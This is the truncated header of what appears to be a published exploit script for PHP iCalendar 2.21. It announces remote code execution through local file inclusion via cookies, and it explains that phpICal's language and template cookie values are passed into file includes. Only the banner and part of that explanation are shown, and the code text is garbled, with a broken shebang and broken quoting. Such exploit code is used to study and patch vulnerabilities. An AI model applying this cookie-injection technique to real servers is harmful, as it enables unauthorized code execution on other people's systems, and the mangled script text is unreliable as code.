PHP iCalendar 2.21 - 'cookie' Remote Code Execution

!/usr/bin/php -q -d shortopentag=on arbitrary local inclusion through cookies\r\n"; echo "by rgod rgodautisticiorg\r\n"; echo "site: http://retrogod.altervista.org\r\n\r\n"; short explaination: phpICal stores language & template user preferences inside cookies. Theese values are used to include...